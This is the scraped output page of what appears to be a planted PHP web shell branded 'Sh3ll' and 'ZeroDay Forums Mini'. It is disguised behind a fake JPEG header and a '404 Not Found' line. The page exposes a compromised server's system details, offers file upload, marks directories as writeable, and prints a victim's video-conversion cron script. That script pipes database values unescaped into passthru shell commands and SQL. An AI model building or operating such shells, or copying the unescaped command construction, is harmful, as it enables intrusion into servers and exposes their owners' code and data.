����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/video/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/video/cron_convert.php
<?php
$root_path = '/home/avs/public_html';
require $root_path."/configs.php";
require $root_path."/lib/class_db.php";
$DB = new db_driver;
$DB->connect($INFO);
$month_now = date("Y").'/'.date("m").'/'.date("d");
if(!is_dir($root_path."/anime/".$month_now."/")) {
    mkdir($root_path."/anime/".$month_now."/",0755,true);
}
$id = uniqid().'-'.time().'_';

/*$arr_insert = array('test_title'=>$id);
$DB->do_insert('tb_test',$arr_insert);*/

$arr_res = array();
$r_video = $DB->fetch_row($DB->query("SELECT * FROM `tb_video` WHERE `video_done` = 'no' ORDER BY video_id ASC LIMIT 1"));

$video_id = $r_video['video_id'];
$tmp_name = str_replace(".mp4","",$r_video['video_tmp']);
$videp_tmp = $root_path.'/'.$r_video['video_tmp'];
$videp_tmp_new = $root_path.'/'.$tmp_name.'_new.mp4';
$id = $video_id;
/*echo 'ffmpeg -i '.$videp_tmp.' -codec: copy -bsf:v h264_mp4toannexb -start_number 0 -hls_time 10 -hls_list_size 0 -f hls '.$root_path.'/anime/'.$month_now.'/playlist_'.$id.'.m3u8';
exit();*/
$status1 = $status2 = 0;
$output1 = passthru('ffmpeg -y -i '.$videp_tmp.' '.$videp_tmp_new, $status1);
$output2 = passthru('ffmpeg -y -i '.$videp_tmp_new.' -codec: copy -bsf:v h264_mp4toannexb -start_number 0 -hls_time 10 -hls_list_size 0 -f hls '.$root_path.'/anime/'.$month_now.'/playlist_'.$id.'.m3u8', $status2);
if(file_exists($root_path.'/anime/'.$month_now.'/playlist_'.$id.'.m3u8')){
    $video_link = '/embed/'.$month_now.'/playlist_'.$id.'.m3u8';
    $arr_update = array('video_link'=>$video_link,'video_done'=>'yes');
    $DB->do_update('tb_video',$arr_update," WHERE video_id='$video_id' ");
    /*unlink($r_video['video_tmp']);
    unlink($tmp_name.'_new.mp4');*/
}

function execInBackground($cmd) {
    if (substr(php_uname(), 0, 7) == "Windows"){

        pclose(popen("start /B ". $cmd, "r"));

    }
    else {
        exec($cmd . " > /dev/null &");
    }
}

$DB->free_result();
$DB->close_db();
?>

ZeroDay Forums Mini